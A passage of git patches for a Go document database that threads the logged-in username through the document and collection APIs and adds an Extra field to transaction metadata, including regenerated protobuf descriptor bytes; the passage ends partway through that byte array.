b/pkg/database/document_database_test.go @@ -66,22 +66,22 @@ func TestDocumentDB_InvalidParameters(t *testing.T) { _, err = db.GetCollection(context.Background(), nil) require.ErrorIs(t, err, ErrIllegalArguments) - _, err = db.UpdateCollection(context.Background(), nil) + _, err = db.UpdateCollection(context.Background(), "admin", nil) require.ErrorIs(t, err, ErrIllegalArguments) - _, err = db.DeleteCollection(context.Background(), nil) + _, err = db.DeleteCollection(context.Background(), "admin", nil) require.ErrorIs(t, err, ErrIllegalArguments) - _, err = db.CreateIndex(context.Background(), nil) + _, err = db.CreateIndex(context.Background(), "admin", nil) require.ErrorIs(t, err, ErrIllegalArguments) - _, err = db.DeleteIndex(context.Background(), nil) + _, err = db.DeleteIndex(context.Background(), "admin", nil) require.ErrorIs(t, err, ErrIllegalArguments) - _, err = db.InsertDocuments(context.Background(), nil) + _, err = db.InsertDocuments(context.Background(), "admin", nil) require.ErrorIs(t, err, ErrIllegalArguments) - _, err = db.ReplaceDocuments(context.Background(), nil) + _, err = db.ReplaceDocuments(context.Background(), "admin", nil) require.ErrorIs(t, err, ErrIllegalArguments) _, err = db.AuditDocument(context.Background(), nil) @@ -90,7 +90,7 @@ func TestDocumentDB_InvalidParameters(t *testing.T) { _, err = db.CountDocuments(context.Background(), nil) require.ErrorIs(t, err, ErrIllegalArguments) - _, err = db.DeleteDocuments(context.Background(), nil) + _, err = db.DeleteDocuments(context.Background(), "admin", nil) require.ErrorIs(t, err, ErrIllegalArguments) _, err = db.ProofDocument(context.Background(), nil) @@ -105,31 +105,31 @@ func TestDocumentDB_WritesOnReplica(t *testing.T) { _, err := db.CreateCollection(context.Background(), "admin", &protomodel.CreateCollectionRequest{}) require.ErrorIs(t, err, ErrIsReplica) - _, err = db.UpdateCollection(context.Background(), &protomodel.UpdateCollectionRequest{}) + _, err = db.UpdateCollection(context.Background(), "admin", &protomodel.UpdateCollectionRequest{}) require.ErrorIs(t, err, ErrIsReplica) - _, err = db.DeleteCollection(context.Background(), &protomodel.DeleteCollectionRequest{}) + _, err = db.DeleteCollection(context.Background(), "admin", &protomodel.DeleteCollectionRequest{}) require.ErrorIs(t, err, ErrIsReplica) - _, err = db.AddField(context.Background(), &protomodel.AddFieldRequest{}) + _, err = db.AddField(context.Background(), "admin", &protomodel.AddFieldRequest{}) require.ErrorIs(t, err, ErrIsReplica) - _, err = db.RemoveField(context.Background(), &protomodel.RemoveFieldRequest{}) + _, err = db.RemoveField(context.Background(), "admin", &protomodel.RemoveFieldRequest{}) require.ErrorIs(t, err, ErrIsReplica) - _, err = db.CreateIndex(context.Background(), &protomodel.CreateIndexRequest{}) + _, err = db.CreateIndex(context.Background(), "admin", &protomodel.CreateIndexRequest{}) require.ErrorIs(t, err, ErrIsReplica) - _, err = db.DeleteIndex(context.Background(), &protomodel.DeleteIndexRequest{}) + _, err = db.DeleteIndex(context.Background(), "admin", &protomodel.DeleteIndexRequest{}) require.ErrorIs(t, err, ErrIsReplica) - _, err = db.InsertDocuments(context.Background(), &protomodel.InsertDocumentsRequest{}) + _, err = db.InsertDocuments(context.Background(), "admin", &protomodel.InsertDocumentsRequest{}) require.ErrorIs(t, err, ErrIsReplica) - _, err = db.ReplaceDocuments(context.Background(), &protomodel.ReplaceDocumentsRequest{}) + _, err = db.ReplaceDocuments(context.Background(), "admin", &protomodel.ReplaceDocumentsRequest{}) require.ErrorIs(t, err, ErrIsReplica) - _, err = db.DeleteDocuments(context.Background(), &protomodel.DeleteDocumentsRequest{}) + _, err = db.DeleteDocuments(context.Background(), "admin", &protomodel.DeleteDocumentsRequest{}) require.ErrorIs(t, err, ErrIsReplica) } @@ -151,21 +151,21 @@ func TestDocumentDB_WithCollections(t *testing.T) { }) require.NoError(t, err) - _, err = db.AddField(context.Background(), nil) + _, err = db.AddField(context.Background(), "admin", nil) require.ErrorIs(t, err, ErrIllegalArguments) - _, err = db.AddField(context.Background(), &protomodel.AddFieldRequest{ + _, err = db.AddField(context.Background(), "admin", &protomodel.AddFieldRequest{ CollectionName: defaultCollectionName, }) require.ErrorIs(t, err, ErrIllegalArguments) - _, err = db.AddField(context.Background(), &protomodel.AddFieldRequest{ + _, err = db.AddField(context.Background(), "admin", &protomodel.AddFieldRequest{ CollectionName: defaultCollectionName, Field: &protomodel.Field{Name: "extra_field", Type: protomodel.FieldType_UUID}, }) require.NoError(t, err) - _, err = db.AddField(context.Background(), &protomodel.AddFieldRequest{ + _, err = db.AddField(context.Background(), "admin", &protomodel.AddFieldRequest{ CollectionName: defaultCollectionName, Field: &protomodel.Field{Name: "extra_field", Type: protomodel.FieldType_UUID}, }) @@ -193,16 +193,16 @@ func TestDocumentDB_WithCollections(t *testing.T) { require.Equal(t, idxType.Type, collection.Fields[i].Type) } - _, err = db.RemoveField(context.Background(), nil) + _, err = db.RemoveField(context.Background(), "admin", nil) require.ErrorIs(t, err, ErrIllegalArguments) - _, err = db.RemoveField(context.Background(), &protomodel.RemoveFieldRequest{ + _, err = db.RemoveField(context.Background(), "admin", &protomodel.RemoveFieldRequest{ CollectionName: defaultCollectionName, FieldName: "extra_field", }) require.NoError(t, err) - _, err = db.RemoveField(context.Background(), &protomodel.RemoveFieldRequest{ + _, err = db.RemoveField(context.Background(), "admin", &protomodel.RemoveFieldRequest{ CollectionName: defaultCollectionName, FieldName: "extra_field", }) @@ -239,7 +239,7 @@ func TestDocumentDB_WithCollections(t *testing.T) { }) t.Run("should pass when adding an index to the collection", func(t *testing.T) { - _, err := db.CreateIndex(context.Background(), &protomodel.CreateIndexRequest{ + _, err := db.CreateIndex(context.Background(), "admin", &protomodel.CreateIndexRequest{ CollectionName: defaultCollectionName, Fields: []string{"number"}, }) @@ -265,7 +265,7 @@ func TestDocumentDB_WithCollections(t *testing.T) { }) t.Run("should pass when deleting an index to the collection", func(t *testing.T) { - _, err := db.DeleteIndex(context.Background(), &protomodel.DeleteIndexRequest{ + _, err := db.DeleteIndex(context.Background(), "admin", &protomodel.DeleteIndexRequest{ CollectionName: defaultCollectionName, Fields: []string{"number"}, }) @@ -291,7 +291,7 @@ func TestDocumentDB_WithCollections(t *testing.T) { }) t.Run("should pass when updating a collection", func(t *testing.T) { - _, err := db.UpdateCollection(context.Background(), &protomodel.UpdateCollectionRequest{ + _, err := db.UpdateCollection(context.Background(), "admin", &protomodel.UpdateCollectionRequest{ Name: defaultCollectionName, DocumentIdFieldName: "foo", }) @@ -308,14 +308,14 @@ func TestDocumentDB_WithCollections(t *testing.T) { }) t.Run("should pass when deleting documents", func(t *testing.T) { - _, err := db.DeleteDocuments(context.Background(), &protomodel.DeleteDocumentsRequest{ + _, err := db.DeleteDocuments(context.Background(), "admin", &protomodel.DeleteDocumentsRequest{ Query: &protomodel.Query{ CollectionName: defaultCollectionName, }, }) require.NoError(t, err) - _, err = db.DeleteDocuments(context.Background(), &protomodel.DeleteDocumentsRequest{ + _, err = db.DeleteDocuments(context.Background(), "admin", &protomodel.DeleteDocumentsRequest{ Query: &protomodel.Query{ CollectionName: "1invalidCollectionName", }, @@ -324,7 +324,7 @@ func TestDocumentDB_WithCollections(t *testing.T) { }) t.Run("should pass when deleting collection", func(t *testing.T) { - _, err := db.DeleteCollection(context.Background(), &protomodel.DeleteCollectionRequest{ + _, err := db.DeleteCollection(context.Background(), "admin", &protomodel.DeleteCollectionRequest{ Name: defaultCollectionName, }) require.NoError(t, err) @@ -390,7 +390,7 @@ func TestDocumentDB_WithDocuments(t *testing.T) { t.Run("should fail with empty document", func(t *testing.T) { // add document to collection - _, err := db.InsertDocuments(context.Background(), &protomodel.InsertDocumentsRequest{ + _, err := db.InsertDocuments(context.Background(), "admin", &protomodel.InsertDocumentsRequest{ CollectionName: collectionName, Documents: nil, }) @@ -405,7 +405,7 @@ func TestDocumentDB_WithDocuments(t *testing.T) { t.Run("should pass when adding documents", func(t *testing.T) { // add document to collection - res, err = db.InsertDocuments(context.Background(), &protomodel.InsertDocumentsRequest{ + res, err = db.InsertDocuments(context.Background(), "admin", &protomodel.InsertDocumentsRequest{ CollectionName: collectionName, Documents: []*structpb.Struct{ { @@ -498,7 +498,7 @@ func TestDocumentDB_WithDocuments(t *testing.T) { }, } - resp, err := db.ReplaceDocuments(context.Background(), &protomodel.ReplaceDocumentsRequest{ + resp, err := db.ReplaceDocuments(context.Background(), "admin", &protomodel.ReplaceDocumentsRequest{ Query: query, Document: &structpb.Struct{ Fields: map[string]*structpb.Value{ @@ -684,7 +684,7 @@ func TestDocumentDB_WithSerializedJsonDocument(t *testing.T) { err = json.Unmarshal([]byte(jsonDoc), doc) require.NoError(t, err) - _, err = db.InsertDocuments(context.Background(), &protomodel.InsertDocumentsRequest{ + _, err = db.InsertDocuments(context.Background(), "admin", &protomodel.InsertDocumentsRequest{ CollectionName: collectionName, Documents: []*structpb.Struct{ doc, diff --git a/pkg/database/truncator_test.go b/pkg/database/truncator_test.go index 237fb87471..22014b69ae 100644 --- a/pkg/database/truncator_test.go +++ b/pkg/database/truncator_test.go @@ -701,7 +701,7 @@ func Test_vlogCompactor_with_document_store(t *testing.T) { _, err = db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) require.NoError(t, err) - res, err := db.InsertDocuments(context.Background(), &protomodel.InsertDocumentsRequest{ + res, err := db.InsertDocuments(context.Background(), "admin", &protomodel.InsertDocumentsRequest{ CollectionName: collectionName, Documents: []*structpb.Struct{ { @@ -736,7 +736,7 @@ func Test_vlogCompactor_with_document_store(t *testing.T) { exec(t, "INSERT INTO table1(name, amount) VALUES('Foo', 0)") exec(t, "INSERT INTO table1(name, amount) VALUES('Fin', 0)") - res, err := db.InsertDocuments(context.Background(), &protomodel.InsertDocumentsRequest{ + res, err := db.InsertDocuments(context.Background(), "admin", &protomodel.InsertDocumentsRequest{ CollectionName: collectionName, Documents: []*structpb.Struct{ { From 29e7a6373f9d87fc8b09cf3229b96b427e08332f Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 27 Sep 2023 17:32:44 +0200 Subject: [PATCH 0818/1062] chore(pkg/server): register username when applying a change in doc apis Signed-off-by: Jeronimo Irazabal --- pkg/server/db_dummy_closed.go | 18 ++++----- pkg/server/db_dummy_closed_test.go | 18 ++++----- pkg/server/documents_operations.go | 63 +++++++++++++++++++++++++----- 3 files changed, 72 insertions(+), 27 deletions(-) diff --git a/pkg/server/db_dummy_closed.go b/pkg/server/db_dummy_closed.go index d9ef459c21..db9d020e46 100644 --- a/pkg/server/db_dummy_closed.go +++ b/pkg/server/db_dummy_closed.go @@ -260,35 +260,35 @@ func (d *closedDB) GetCollections(ctx context.Context, req *protomodel.GetCollec return nil, store.ErrAlreadyClosed } -func (d *closedDB) UpdateCollection(ctx context.Context, req *protomodel.UpdateCollectionRequest) (*protomodel.UpdateCollectionResponse, error) { +func (d *closedDB) UpdateCollection(ctx context.Context, username string, req *protomodel.UpdateCollectionRequest) (*protomodel.UpdateCollectionResponse, error) { return nil, store.ErrAlreadyClosed } -func (d *closedDB) DeleteCollection(ctx context.Context, req *protomodel.DeleteCollectionRequest) (*protomodel.DeleteCollectionResponse, error) { +func (d *closedDB) DeleteCollection(ctx context.Context, username string, req *protomodel.DeleteCollectionRequest) (*protomodel.DeleteCollectionResponse, error) { return nil, store.ErrAlreadyClosed } -func (d *closedDB) AddField(ctx context.Context, req *protomodel.AddFieldRequest) (*protomodel.AddFieldResponse, error) { +func (d *closedDB) AddField(ctx context.Context, username string, req *protomodel.AddFieldRequest) (*protomodel.AddFieldResponse, error) { return nil, store.ErrAlreadyClosed } -func (d *closedDB) RemoveField(ctx context.Context, req *protomodel.RemoveFieldRequest) (*protomodel.RemoveFieldResponse, error) { +func (d *closedDB) RemoveField(ctx context.Context, username string, req *protomodel.RemoveFieldRequest) (*protomodel.RemoveFieldResponse, error) { return nil, store.ErrAlreadyClosed } -func (d *closedDB) CreateIndex(ctx context.Context, req *protomodel.CreateIndexRequest) (*protomodel.CreateIndexResponse, error) { +func (d *closedDB) CreateIndex(ctx context.Context, username string, req *protomodel.CreateIndexRequest) (*protomodel.CreateIndexResponse, error) { return nil, store.ErrAlreadyClosed } -func (d *closedDB) DeleteIndex(ctx context.Context, req *protomodel.DeleteIndexRequest) (*protomodel.DeleteIndexResponse, error) { +func (d *closedDB) DeleteIndex(ctx context.Context, username string, req *protomodel.DeleteIndexRequest) (*protomodel.DeleteIndexResponse, error) { return nil, store.ErrAlreadyClosed } -func (d *closedDB) InsertDocuments(ctx context.Context, req *protomodel.InsertDocumentsRequest) (*protomodel.InsertDocumentsResponse, error) { +func (d *closedDB) InsertDocuments(ctx context.Context, username string, req *protomodel.InsertDocumentsRequest) (*protomodel.InsertDocumentsResponse, error) { return nil, store.ErrAlreadyClosed } -func (d *closedDB) ReplaceDocuments(ctx context.Context, req *protomodel.ReplaceDocumentsRequest) (*protomodel.ReplaceDocumentsResponse, error) { +func (d *closedDB) ReplaceDocuments(ctx context.Context, username string, req *protomodel.ReplaceDocumentsRequest) (*protomodel.ReplaceDocumentsResponse, error) { return nil, store.ErrAlreadyClosed } @@ -308,6 +308,6 @@ func (d *closedDB) ProofDocument(ctx context.Context, req *protomodel.ProofDocum return nil, store.ErrAlreadyClosed } -func (d *closedDB) DeleteDocuments(ctx context.Context, req *protomodel.DeleteDocumentsRequest) (*protomodel.DeleteDocumentsResponse, error) { +func (d *closedDB) DeleteDocuments(ctx context.Context, username string, req *protomodel.DeleteDocumentsRequest) (*protomodel.DeleteDocumentsResponse, error) { return nil, store.ErrAlreadyClosed } diff --git a/pkg/server/db_dummy_closed_test.go b/pkg/server/db_dummy_closed_test.go index ff74a09e75..016af83bf4 100644 --- a/pkg/server/db_dummy_closed_test.go +++ b/pkg/server/db_dummy_closed_test.go @@ -179,28 +179,28 @@ func TestDummyClosedDatabase(t *testing.T) { _, err = cdb.GetCollections(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) - _, err = cdb.UpdateCollection(context.Background(), nil) + _, err = cdb.UpdateCollection(context.Background(), "admin", nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) - _, err = cdb.DeleteCollection(context.Background(), nil) + _, err = cdb.DeleteCollection(context.Background(), "admin", nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) - _, err = cdb.AddField(context.Background(), nil) + _, err = cdb.AddField(context.Background(), "admin", nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) - _, err = cdb.RemoveField(context.Background(), nil) + _, err = cdb.RemoveField(context.Background(), "admin", nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) - _, err = cdb.CreateIndex(context.Background(), nil) + _, err = cdb.CreateIndex(context.Background(), "admin", nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) - _, err = cdb.DeleteIndex(context.Background(), nil) + _, err = cdb.DeleteIndex(context.Background(), "admin", nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) - _, err = cdb.InsertDocuments(context.Background(), nil) + _, err = cdb.InsertDocuments(context.Background(), "admin", nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) - _, err = cdb.ReplaceDocuments(context.Background(), nil) + _, err = cdb.ReplaceDocuments(context.Background(), "admin", nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.AuditDocument(context.Background(), nil) @@ -215,7 +215,7 @@ func TestDummyClosedDatabase(t *testing.T) { _, err = cdb.ProofDocument(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) - _, err = cdb.DeleteDocuments(context.Background(), nil) + _, err = cdb.DeleteDocuments(context.Background(), "admin", nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) err = cdb.Close() diff --git a/pkg/server/documents_operations.go b/pkg/server/documents_operations.go index 85ebf7341f..3ae171e6b5 100644 --- a/pkg/server/documents_operations.go +++ b/pkg/server/documents_operations.go @@ -49,7 +49,12 @@ func (s *ImmuServer) UpdateCollection(ctx context.Context, req *protomodel.Updat return nil, err } - return db.UpdateCollection(ctx, req) + _, user, err := s.getLoggedInUserdataFromCtx(ctx) + if err != nil { + return nil, fmt.Errorf("could not get loggedin user data") + } + + return db.UpdateCollection(ctx, user.Username, req) } func (s *ImmuServer) GetCollection(ctx context.Context, req *protomodel.GetCollectionRequest) (*protomodel.GetCollectionResponse, error) { @@ -76,7 +81,12 @@ func (s *ImmuServer) DeleteCollection(ctx context.Context, req *protomodel.Delet return nil, err } - return db.DeleteCollection(ctx, req) + _, user, err := s.getLoggedInUserdataFromCtx(ctx) + if err != nil { + return nil, fmt.Errorf("could not get loggedin user data") + } + + return db.DeleteCollection(ctx, user.Username, req) } func (s *ImmuServer) AddField(ctx context.Context, req *protomodel.AddFieldRequest) (*protomodel.AddFieldResponse, error) { @@ -85,7 +95,12 @@ func (s *ImmuServer) AddField(ctx context.Context, req *protomodel.AddFieldReque return nil, err } - return db.AddField(ctx, req) + _, user, err := s.getLoggedInUserdataFromCtx(ctx) + if err != nil { + return nil, fmt.Errorf("could not get loggedin user data") + } + + return db.AddField(ctx, user.Username, req) } func (s *ImmuServer) RemoveField(ctx context.Context, req *protomodel.RemoveFieldRequest) (*protomodel.RemoveFieldResponse, error) { @@ -94,7 +109,12 @@ func (s *ImmuServer) RemoveField(ctx context.Context, req *protomodel.RemoveFiel return nil, err } - return db.RemoveField(ctx, req) + _, user, err := s.getLoggedInUserdataFromCtx(ctx) + if err != nil { + return nil, fmt.Errorf("could not get loggedin user data") + } + + return db.RemoveField(ctx, user.Username, req) } func (s *ImmuServer) CreateIndex(ctx context.Context, req *protomodel.CreateIndexRequest) (*protomodel.CreateIndexResponse, error) { @@ -103,7 +123,12 @@ func (s *ImmuServer) CreateIndex(ctx context.Context, req *protomodel.CreateInde return nil, err } - return db.CreateIndex(ctx, req) + _, user, err := s.getLoggedInUserdataFromCtx(ctx) + if err != nil { + return nil, fmt.Errorf("could not get loggedin user data") + } + + return db.CreateIndex(ctx, user.Username, req) } func (s *ImmuServer) DeleteIndex(ctx context.Context, req *protomodel.DeleteIndexRequest) (*protomodel.DeleteIndexResponse, error) { @@ -112,7 +137,12 @@ func (s *ImmuServer) DeleteIndex(ctx context.Context, req *protomodel.DeleteInde return nil, err } - return db.DeleteIndex(ctx, req) + _, user, err := s.getLoggedInUserdataFromCtx(ctx) + if err != nil { + return nil, fmt.Errorf("could not get loggedin user data") + } + + return db.DeleteIndex(ctx, user.Username, req) } func (s *ImmuServer) InsertDocuments(ctx context.Context, req *protomodel.InsertDocumentsRequest) (*protomodel.InsertDocumentsResponse, error) { @@ -121,7 +151,12 @@ func (s *ImmuServer) InsertDocuments(ctx context.Context, req *protomodel.Insert return nil, err } - return db.InsertDocuments(ctx, req) + _, user, err := s.getLoggedInUserdataFromCtx(ctx) + if err != nil { + return nil, fmt.Errorf("could not get loggedin user data") + } + + return db.InsertDocuments(ctx, user.Username, req) } func (s *ImmuServer) ReplaceDocuments(ctx context.Context, req *protomodel.ReplaceDocumentsRequest) (*protomodel.ReplaceDocumentsResponse, error) { @@ -130,7 +165,12 @@ func (s *ImmuServer) ReplaceDocuments(ctx context.Context, req *protomodel.Repla return nil, err } - return db.ReplaceDocuments(ctx, req) + _, user, err := s.getLoggedInUserdataFromCtx(ctx) + if err != nil { + return nil, fmt.Errorf("could not get loggedin user data") + } + + return db.ReplaceDocuments(ctx, user.Username, req) } func (s *ImmuServer) AuditDocument(ctx context.Context, req *protomodel.AuditDocumentRequest) (*protomodel.AuditDocumentResponse, error) { @@ -268,7 +308,12 @@ func (s *ImmuServer) DeleteDocuments(ctx context.Context, req *protomodel.Delete return nil, err } - return db.DeleteDocuments(ctx, req) + _, user, err := s.getLoggedInUserdataFromCtx(ctx) + if err != nil { + return nil, fmt.Errorf("could not get loggedin user data") + } + + return db.DeleteDocuments(ctx, user.Username, req) } func (s *ImmuServer) ProofDocument(ctx context.Context, req *protomodel.ProofDocumentRequest) (*protomodel.ProofDocumentResponse, error) { From 8753e18c688fc9187526966a8e0b4b2350a1d537 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 28 Sep 2023 11:01:50 +0200 Subject: [PATCH 0819/1062] chore(pkg/api): adjust doc serializations to match verification Signed-off-by: Jeronimo Irazabal --- pkg/api/schema/database_protoconv.go | 4 + pkg/api/schema/schema.pb.go | 2847 +++++++++++++------------- pkg/api/schema/schema.proto | 2 + 3 files changed, 1435 insertions(+), 1418 deletions(-) diff --git a/pkg/api/schema/database_protoconv.go b/pkg/api/schema/database_protoconv.go index b1bbd326d3..87e52b8ff7 100644 --- a/pkg/api/schema/database_protoconv.go +++ b/pkg/api/schema/database_protoconv.go @@ -179,6 +179,8 @@ func TxMetadataToProto(md *store.TxMetadata) *TxMetadata { txmd.TruncatedTxID = txID } + txmd.Extra = md.Extra() + return txmd } @@ -254,6 +256,8 @@ func TxMetadataFromProto(md *TxMetadata) *store.TxMetadata { txmd.WithTruncatedTxID(md.TruncatedTxID) } + txmd.WithExtra(md.Extra) + return txmd } diff --git a/pkg/api/schema/schema.pb.go b/pkg/api/schema/schema.pb.go index 95e9611fb1..3ea976d8ff 100644 --- a/pkg/api/schema/schema.pb.go +++ b/pkg/api/schema/schema.pb.go @@ -15,7 +15,7 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.28.1 +// protoc-gen-go v1.31.0 // protoc v3.21.12 // source: schema.proto @@ -2051,6 +2051,8 @@ type TxMetadata struct { // Entry expiration information TruncatedTxID uint64 `protobuf:"varint,1,opt,name=truncatedTxID,proto3" json:"truncatedTxID,omitempty"` + // Extra data + Extra []byte `protobuf:"bytes,2,opt,name=extra,proto3" json:"extra,omitempty"` } func (x *TxMetadata) Reset() { @@ -2092,6 +2094,13 @@ func (x *TxMetadata) GetTruncatedTxID() uint64 { return 0 } +func (x *TxMetadata) GetExtra() []byte { + if x != nil { + return x.Extra + } + return nil +} + // LinearProof contains the linear part of the proof (outside the main Merkle Tree) type LinearProof struct { state protoimpl.MessageState @@ -9007,1481 +9016,1483 @@ var file_schema_proto_rawDesc = []byte{ 0x12, 0x35, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, - 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x22, 0x32, 0x0a, 0x0a, 0x54, 0x78, 0x4d, 0x65, 0x74, + 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x22, 0x48, 0x0a, 0x0a, 0x54, 0x78, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, - 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x22, 0x63, 0x0a, 0x0b, 0x4c, - 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x1e, 0x0a, 0x0a, 0x73, 0x6f, - 0x75, 0x72, 0x63, 0x65, 0x54, 0x78, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0a, - 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x54, 0x78, 0x49, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x54, 0x61, - 0x72, 0x67, 0x65, 0x74, 0x54, 0x78, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0a, - 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x54, 0x78, 0x49, 0x64, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x65, - 0x72, 0x6d, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x05, 0x74, 0x65, 0x72, 0x6d, 0x73, - 0x22, 0x89, 0x01, 0x0a, 0x12, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x41, 0x64, 0x76, 0x61, 0x6e, - 0x63, 0x65, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x2a, 0x0a, 0x10, 0x6c, 0x69, 0x6e, 0x65, 0x61, - 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x54, 0x65, 0x72, 0x6d, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, - 0x0c, 0x52, 0x10, 0x6c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x54, 0x65, - 0x72, 0x6d, 0x73, 0x12, 0x47, 0x0a, 0x0f, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, - 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x63, - 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x0f, 0x69, 0x6e, 0x63, - 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x73, 0x22, 0xc8, 0x03, 0x0a, - 0x09, 0x44, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x3f, 0x0a, 0x0e, 0x73, 0x6f, - 0x75, 0x72, 0x63, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x0e, 0x73, 0x6f, 0x75, - 0x72, 0x63, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x3f, 0x0a, 0x0e, 0x74, - 0x61, 0x72, 0x67, 0x65, 0x74, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x0e, 0x74, 0x61, - 0x72, 0x67, 0x65, 0x74, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x26, 0x0a, 0x0e, - 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x03, - 0x20, 0x03, 0x28, 0x0c, 0x52, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, - 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x2a, 0x0a, 0x10, 0x63, 0x6f, 0x6e, 0x73, 0x69, 0x73, 0x74, 0x65, - 0x6e, 0x63, 0x79, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x10, - 0x63, 0x6f, 0x6e, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x63, 0x79, 0x50, 0x72, 0x6f, 0x6f, 0x66, - 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x42, 0x6c, 0x54, 0x78, 0x41, 0x6c, - 0x68, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0d, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x42, - 0x6c, 0x54, 0x78, 0x41, 0x6c, 0x68, 0x12, 0x2e, 0x0a, 0x12, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, - 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x06, 0x20, 0x03, - 0x28, 0x0c, 0x52, 0x12, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, - 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x3c, 0x0a, 0x0b, 0x6c, 0x69, 0x6e, 0x65, 0x61, 0x72, - 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x69, 0x6e, 0x65, - 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x0b, 0x6c, 